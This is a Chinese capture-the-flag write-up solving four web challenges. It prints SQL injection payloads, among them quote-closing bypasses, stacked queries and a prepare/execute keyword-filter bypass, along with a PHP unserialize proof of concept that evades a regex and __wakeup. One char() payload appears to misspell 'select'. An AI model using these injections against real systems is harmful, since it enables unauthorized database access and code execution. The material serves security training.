1、newscenter
(1)、訪問網站,一個搜索欄,像是SQL注入漏洞,brup抓包嘗試一下。
- 輸入2/0、一個單引號、兩個單引號、一個雙引號、兩個雙引號等。
- 發現只有一個單引號時,響應包content-length字段有非常明顯的變化為0。說明有可能是字符型,閉合方式為單引號。
- 嘗試這個閉合方式的萬能密碼,1'+or+'a'='a'--+,發現并沒有做太大的過濾
(2)、頁面不顯示報錯信息,不能使用報錯注入,其他可用。如聯合注入。
(3)、聯合注入:字段數、顯示位--》數據庫--》數據表--》數據(flag)
2、web_php_unserialize
(1)訪問網站,是一段代碼。代碼審計
- 定義一個類和一個條件執行語句,像unserialize3加了base64編碼和正則匹配
(2)POC:在線編碼:在線運行PHP (bejson.com)
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }
}
$p=new Demo('fl4g.php');
$p=serialize($p); //序列化
$p=str_replace("O:4","O:+4",$p); //繞過正則匹配
$p=str_replace(":1:{",":2:{",$p); //wakeup繞過
$p=base64_encode($p); //base64編碼
echo $p;
?>
(3)、使用get傳值,獲取flag
3、supersqli
(1)、訪問網站,根據提示,是SQL注入漏洞
(2)、字符型注入,看報錯信息是閉合方式為單引號,真如描述那樣隨便注
(3)、嘗試獲取表時,響應包看到正則匹配,過濾了語句
- preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
- 使用堆疊注入和show語句,如1';use supersqli;show tables;--+
- 查詢表中的列時,需要使用反引號引起來,如1';show columns from `tableN`;--+
- 查詢數據時,就不能使用show,可以使用MySQL預編譯繞過。
- 1';prepare a from concat(char(115,101,108,99,116),' * from `tableN`');execute a;--+
- prepare ? from ?:?是MySQL中預編譯語句,用于準備一個SQL語句
- execute ?:執行預編譯的SQL語句
4、web2
(1)、提示,是逆向加密算法,解$miwen。代碼審計
miwen:逆序--》每個字符轉換成ASCII碼后+1--》轉回字符--》base64加密--》逆序--》rot13加密
解密:rot13解密--》逆序--》base64解密--》每個字符轉換成ASCII碼后-1--》轉回字符--》逆序
(2)、代碼,獲取flag
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));
$mingwen=$miwen;
for($i=0;$i<strlen($mingwen);$i++){$m=substr($mingwen,$i,1);$a=ord($m)-1;$a=chr($a);$c=$c.$a; }
echo strrev($c);
?>
?